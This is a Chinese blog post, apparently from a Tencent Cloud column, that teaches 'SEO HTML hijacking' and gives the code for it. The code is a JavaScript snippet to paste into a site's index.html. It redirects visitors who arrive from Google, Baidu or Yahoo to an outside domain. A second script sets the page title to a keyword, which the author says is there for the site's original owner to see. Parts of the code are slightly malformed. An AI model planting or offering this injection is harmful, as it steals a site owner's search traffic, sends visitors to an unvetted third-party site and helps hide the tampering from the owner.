专栏首页开心分享-技术交流SEO的html劫持和html劫持代码

SEO的html劫持和html劫持代码

这段时间有个人问我SEO的html劫持是怎么做的,代码又是什么样子的,然后就有了这篇文章。大家可以看看,学习一下。

下面的message[0]中的关键词并不是你的关键词,而是给网站原有的人看的。

找到index.html文件,编辑,代码记住是放到下面

我们看下代码是怎么实现的:

  1. < script LANGUAGE = "Javascript" >
  2. var s = document.referrer
  3. if (s.indexOf("google") > 0 || s.indexOf("baidu") > 0 || s.indexOf("yahoo") > 0) location.href = "https://www.lurbk.com"; < /script>
  4. <script LANGUAGE="Javascript">
  5.   var message = new Array();
  6.   message[0] = "seo";
  7.   var reps = 1;
  8.   var speed = 0;/ / Set the overall typing speed(larger number = slower action).  
  9. var hold = 4111111 // set the length of time to display the whole phrase before retyping (larger number = longer)
  10. var p = message.length;  
  11. var q = 0;  
  12. var r = 0;  
  13. var C = 0;  
  14. var mC = 0;  
  15. var s = 0;  
  16. var sT = null;  
  17. if (reps < 1) {  reps = 1;  
  18. }  
  19. function setMessage() {  typing = message[mC];  q = typing.length;  r = q + hold;  typeMessage();  
  20. }  
  21. function typeMessage() {  
  22. if (s > r) {  s = 0;  
  23. }  
  24. if (s > q) {  document.title = typing;  
  25. }  
  26. else {  document.title = typing.substr(0, s);  
  27. }  
  28. if (C < (r * reps)) {  sT = setTimeout("typeMessage()", speed);  C++;  s++;  
  29. }  
  30. else {  C = 0;  s = 0;  mC++;  
  31. if (mC > p - 1) {
  32. mC = 0;
  33. }  sT = null;  setMessage();  
  34. }  
  35. }  setMessage();   < /script>

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • js实现HTML页面时钟动态显示

    开心分享
  • 微信小程序源码免费下载

    开发小程序的第一步,你需要拥有一个小程序帐号,通过这个帐号你就可以管理你的小程序。跟随这个教程,开始你的小程序之旅吧!

    开心分享
  • http 升级 https 协议后搜索结果排名下降

    刚刚小新看到有人再问网站从 http 协议升级到 https 安全协议后搜索结果排名出现大量下降的问题,那么具体该怎么处理和排查问题呢?

    开心分享
  • Java11震撼发布了,我们该怎么办?

    Java11已经发布了,我们今天聊聊大家还停留在哪个版本呢?大家对于新版本的迅速的发布有什么想说的呢?

    好好学java
  • 基于 H5与WebGL 的科幻风机 3D 展示

      许多世纪以来,风力机同水力机械一样,作为动力源替代人力、畜力,对生产力的发展发挥过重要作用。近代机电动力的广泛应用以及二十世纪50年代中东油田的发现,使风机...

    HT for Web
  • Js基础教程之变量及数据类型

    基本类型:字符串(String)、数字(Number)、布尔(Boolean)、对空(Null)、未定义(Undefined)、Symbol。

    老雷PHP全栈开发
  • JDK10的新特性:本地变量类型var

    java以面向对象的特性显著于世并得到了蓬勃的发展。在语言的发展过程中,为了让java语言更加简洁和方便使用,JDK也在不断的进行改进。

    程序那些事
  • Nodejs进阶:Express常用中间件body-parser实现解析

    写在前面 body-parser是非常常用的一个express中间件,作用是对post请求的请求体进行解析。使用非常简单,以下两行代码已经覆盖了大部分的使用场景...

    IMWeb前端团队
  • MariaDB MySQL变量取值避免四舍五入的方法

    在一些对数据精确度要求比较高的场景(比如资金结算)下,变量取值时不能对变量值进行四舍五入操作,这时候就要做些预处理工作。

    授客
  • 纯粹依靠位操作实现整数加法运算

    Jerry Wang

扫码关注云+社区

领取腾讯云代金券